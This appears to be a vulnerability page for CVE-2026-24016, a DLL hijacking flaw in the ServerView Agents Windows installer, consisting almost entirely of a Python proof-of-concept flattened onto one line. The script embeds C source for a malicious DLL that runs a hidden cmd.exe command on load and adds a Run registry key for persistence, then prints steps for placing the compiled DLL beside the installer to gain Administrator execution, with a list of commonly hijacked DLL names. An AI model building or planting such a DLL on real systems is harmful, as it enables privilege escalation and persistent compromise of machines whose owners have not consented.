CVE-2026-24016: Fsas ServerView Agents Windows安装器DLL劫持漏洞

#!/usr/bin/env python3 # CVE-2026-24016 PoC - DLL Hijacking for ServerView Agents Installer # This PoC demonstrates how a malicious DLL can be placed to exploit DLL loading vulnerability import os import sys def create_malicious_dll(): """ Generate malicious DLL source code that will execute with admin privileges when loaded by the vulnerable installer. """ dll_source = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create a backdoor or execute malicious payload WinExec("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt", SW_HIDE); // Alternative: Add to startup for persistence HKEY hKey; RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run", 0, KEY_SET_VALUE, &hKey); RegSetValueEx(hKey, "ServerViewUpdate", 0, REG_SZ, (BYTE*)"malicious.exe", strlen("malicious.exe")); RegCloseKey(hKey); } return TRUE; } // Export functions that the installer expects to find extern "C" __declspec(dllexport) void SomeRequiredFunction() {} ''' return dll_source def generate_exploit_package(): """ Generate the exploit package structure for CVE-2026-24016 """ print("[*] CVE-2026-24016 DLL Hijacking Exploit Generator") print("[*] Target: ServerView Agents for Windows Installer") print("[*] Attack Vector: Place malicious DLL in installer directory") # Common DLLs that installers load and might be hijacked vulnerable_dlls = [ "version.dll", "setupapi.dll", "shell32.dll", "comctl32.dll", "ole32.dll" ] print("\n[+] Common targets for DLL hijacking:") for dll in vulnerable_dlls: print(f" - {dll}") print("\n[!] Note: Compile malicious DLL with required exports") print("[!] Place the DLL in the same directory as the installer") print("[!] When installer runs, it will load the malicious DLL") print("[!] Payload executes with Administrator privileges") if __name__ == "__main__": generate_exploit_package()